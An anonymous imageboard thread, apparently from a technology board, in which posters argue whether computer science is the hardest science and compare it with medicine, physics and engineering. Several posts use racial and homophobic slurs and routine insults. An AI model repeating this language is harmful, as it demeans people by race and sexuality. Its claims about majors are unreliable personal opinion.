A course on software engineering usually involves making a project. They probably picked something too ambitious and refused to compromise.

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>>60438513
you thought I mean to "prove" anything?
It's a philosophical view you dolt, it's an arbitrary choice made.
>>60438548
There is a difference between physical manifestations of things and their concept. The core idea is assigning a form of reality (adjective) to concepts. This dates back at the very least to plato and his theory of forms.

>>60438478
We literally created mathematics, and apply it to our lives. You are wrong.

>>60438565
within real world application I would argue that less popular definitions are less substantial in a way. If you make that the fault of the language or society by arbitrarily separating the two is of little concern to me. But I get your point

>>60438637
You're not looking at it in a sufficiently abstract way. The real question is whether you consider concepts "real" things that "exist", independent of a thinking mind to process them.

>>60438596
Philosophy built on no reasoning is not philosophy. It is a man being a fool for attention. The whole point of philosophy is to justify and argue your point. Do not misuse the word "philosophy." The term you are looking for is "unjustified opinion."

>>60433145
>implying that software developers don't make bank

>>60428529
Programming is a job, so it's a trade.
>no, its not even a job.
Software engineering is a form of engineering (solving practical problems) by means of computers and programming.
>no
Computer Science is not a "Natural Science" as it does not involve answering some question about the working of the universe we live in.
>yes, its pure faggotry

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>>60438719
I am not going to bother with anything but a suggestive rough draft of the idea for shitters like you. If you really wanted anything but some filler text to pick apart to jerk off to your already set in stone opinion you would have already gone out and followed breadcrumbs on wikipedia.
If you really want to learn about this shit and did not have it in school, go from there
https://en.wikipedia.org/wiki/Problem_of_universals
and more explicitly https://en.wikipedia.org/wiki/Philosophical_realism
You will find more than enough literature there.

>>60438843
Aristotle just cringed.

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>>60438843
>Lazy
>Compromising
>Uneducated
/R/eddit armchair philosophers are rampant these days.

>>60438900
glad to see we're done here
>>>/e/baumsworld

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>>60438924

it's pretty easy compared to physics, chemistry, biology, pharma

>>60438987
So is demanding to be spoonfeeding memers highschool-level philosophy on a technology board. The only winning move is not to play.

>>60438107
>he thinks the level of intellectual challenge presented by a particular trade is a decent measure of how hard it is
how else would you do it

>>60428075
>Computer Science is the most difficult science.
>Science
>Implying

>>60428075
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA

>>60430357
why is it that 90% of the posters in these threads clearly have no reasonable experience in any of the areas of dicussion

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BS Biology
BS CS
(I wanted to be an Bio Engineer but my school didn't offer a Bioengineering degree.)

Easiest to Hardest...

CS>Chem>Bio>Math>Physics>o chem

That being said I haven't delved into Post-graduate level courses in the respective sciences as I'm currently pursuing a Master's in Business Administration.

This is also my personal experience and perhaps for some O Chem is a walk in the park whereas Differential/Multivariate was the toughest academic they've come across.

Human Anatomy was probably my all time easiest class while I struggled in my latter Physics/O Chem classes. The CS classes I did take where on the smoother side of the quarter. I could also relieve stress of my harder academics and just spend hours in the computer lab, so I did spend more time/day working on CS.

I actually enjoyed CS whereas pulling out my Physics texts for over an hour required a lot of mental fortitude.

Anyways the most difficult major is probably dependent on the person because in the latter courses of a major they all become rather difficult. Also, a lot of classes overlap majors mainly math/chem/physics.

>>60430038
Why are normies so obsessed with prestige?

>>60433192
I wonder what you really think is causing you to be so upset at CS.

False flag thread so that non-programmers can come in and bash on CS / SE.
Pathetic.

>>60440450
Oh and I did forget to mention. Undergrad CS classes have so much information available. Curriculum is often similar to other schools and throughout previous years. If I ever got stuck on something it was a short google search away and I could find the exact same problem or something vastly similar.

CS definitely has the most efficient resources available and easily accessible. This is for undergrad courses of course. I've never done grad/post in CS classes.

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>>60428135

This.

Medical student here.

I have more work than all of you. I have more debt than all of you. I will go through more schooling and training than all of you. My future patients will complain about a $20 copay. You need to be constantly in the loop or you'll lose your job. You must constantly be preparing to update your license or you'll lose your job. You need to interact with the sick, dying, and infirm. You must tell a worried mother that her child is now dead. You are one mistake from losing everything to a malpractice lawsuit. People think they know better than you.

And that's just the tip of the iceberg.

Programming is hard. But fuck out of here OP.

I think other engineers dislike CS majors because to the majority, CS is kind of more modern and perhaps more lucrative career.

>>60440537
>But fuck out of here OP.
are you a nigger

>>60440583
I wish. I'd be in Harvard Medical School if I was.

>>60440583
>but fuck
no dude he's gay

>>60428123
>EE being hard
I can literally design circuit boards and shit just with wikipedia and if they don't work I just rebuild it differently, no harm done
it's no different than coding

>>60428135
>rote memorization
>difficult

lmaoing at your life rn

>>60428135
Bugs would be like an genetic autoimmune disease.

What a doctor needs to do comparable to a computer scientist is know the body the way a scientist knows a language and program, but then you just run diagnostics and replace faulty components. There's really no programming or reprogramming because the body can do that itself once the issue is fixed.

I definitely believe nowadays that finance is the major to be in. At least if you're ambitious.

Our society is kinda fucked where if you are vastly superior to your peers, well congratulations you just became the companies workhorse.

The mindset of an Executive is results.

What do you think is more efficient?

>your best programming leading a team
>someone with a leadership background leading your best programmers

It's fucked.

It's obvious that like 90% of /g/ has no idea what computer science is.

Holy fuck you dipshits.
I literally hate having to live in a world where I'm confused for being one of you dipshits at a job interview and they waste my time with petty programming questions.

I hate working with you guys too... thankfully my team is all CS and mathematics guys and not geek squad rejects

>>60428714
fucking idiot

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>>60432491
>applied statistics is a science

>>60439971
Dude I said 90% too.. It was out of my ass but maybe

>>60440627
That's nigger thinking
You can design a circuit board for any mundane system, true. any off the shelf TI chip will probably live happily ever after on it.
Unless you need to design multi layered circuits
unless you have to deal with RF
unless you have to start designing for speed or power performance.
also, EE is more than designing PCBs.
VLSI, analog, electromagnetics, software, systems, you name it

>>60428075
I'm a software engineer. It is easy. Most of the people I work with are potatoes. Where does the difficulty come in?

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>>60440683
>2017
>not being a code artisan

Bro, do you even make the world a better place?

>>60437959
Okay then.

>>60428075
>>Software """""Engineers"""""

>>60437468
>Get a related job where you can apply that you dumb shit.


>haha just get a job xD
>just get an internship xD

if only they just fell from the sky

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>>60428075
>Claiming software engineering is hard when you can google all that shit
>Claiming computer science is even remotely hard when compared to physics, aerospace, or motherfucking theory

This fucking nigga right here man. Are you like 70 years old and struggle to turn on a fucking TV with a remote? Fucking turbo autists these days.

>>60428075
nice meme

>>60438231
>>60428733
I'm glad I didn't jump on the CS ship that sailed decades ago. Field is over saturated and typically the only ones in high paying niches of CS are from prestigious institutions.

MIS (and other related majors bridging business and tech) is a relative cake walk and with decent programming and statistics knowledge you can get yourself the freshest meme career like data """""scientist"""""". The extra time I did not have to waste applying worthless academia in CS I have dedicated to data analytics concepts and projects that are actually worth something on a resume.

>>60440537
kek, enjoy getting cucked by nurse practitioners in about 20 years anon, you cunts cost way too much

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>>60428095
Awww yeeeea boooiiii

>>60436040
>recursion is black magic and should be banned

kek how are you in a college level comp sci cousrse

>>60428135
The difficult thing about software engineering is that the code was written by humans instead of nature, and you're asked not only to fix bugs but to add new features while fixing bugs, often to live software.

That would be like adding wings to a person while curing extensive organ damage while the person is alive and walking around.